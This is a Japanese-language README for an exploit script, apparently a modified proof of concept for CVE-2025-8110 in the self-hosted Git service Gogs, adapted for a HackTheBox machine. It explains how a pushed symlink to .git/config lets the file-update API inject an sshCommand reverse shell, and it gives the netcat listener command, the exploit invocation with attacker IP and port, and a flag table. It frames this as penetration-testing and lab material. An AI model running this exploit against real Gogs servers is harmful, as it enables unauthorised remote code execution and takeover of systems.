
Gogs サービスをエクスプロイトし、ルートユーザーを取得する
免責事項: このツールは、教育目的および許可を得たペネトレーションテスト専用に意図されています。明示的なテスト許可を得たシステムに対してのみ使用してください。
これは zAbuQasem/gogs-CVE-2025-8110 の修正版であり、HackTheBox の Silentium マシンに対して動作するように適合させたものです。元の PoC は、Silentium 固有の Gogs 設定と認証フローに対応するための調整が必要でした。
CVE-2025-8110 は、セルフホスト型 Git サービスである Gogs におけるリモートコード実行(RCE)脆弱性です。
Gogs のファイル更新 API エンドポイント(PUT /api/v1/repos/.../contents/<file>)は、対象ファイルがシンボリックリンクであるかどうかを検証しません。認証済みの攻撃者は、.git/config を指すシンボリックリンクをリポジトリにプッシュし、その API を使って悪意のあるペイロードで上書きすることができます。このペイロードは git config にカスタムの sshCommand を注入し、Gogs は次にそのリポジトリに対して SSH 操作を実行する際にサーバー側でそれを実行するため、リモートコード実行につながります。
malicious_link -> .git/config)を仕込んでプッシュします。sshCommand = <reverse shell> を含む悪意のある .git/config を書き込みます。.git/config を上書きし、次の SSH 操作でシェルを起動させます。依存関係のインストール:
pip install -r requirements.txt
リスナーの起動:
nc -lvnp <PORT>
エクスプロイトの実行:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>
オプション — Burp Suite 経由でルーティングする場合:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x
| フラグ | 説明 |
|---|
-u | Gogs のベース URL |
-lh | 攻撃者の IP アドレス(リバースシェルのホスト) |
-lp | リスナーのポート |
-un | 登録済みの Gogs ユーザー名 |
-pw | Gogs のパスワード |
-x | (任意)localhost:8080 の Burp 経由でトラフィックをルーティングする |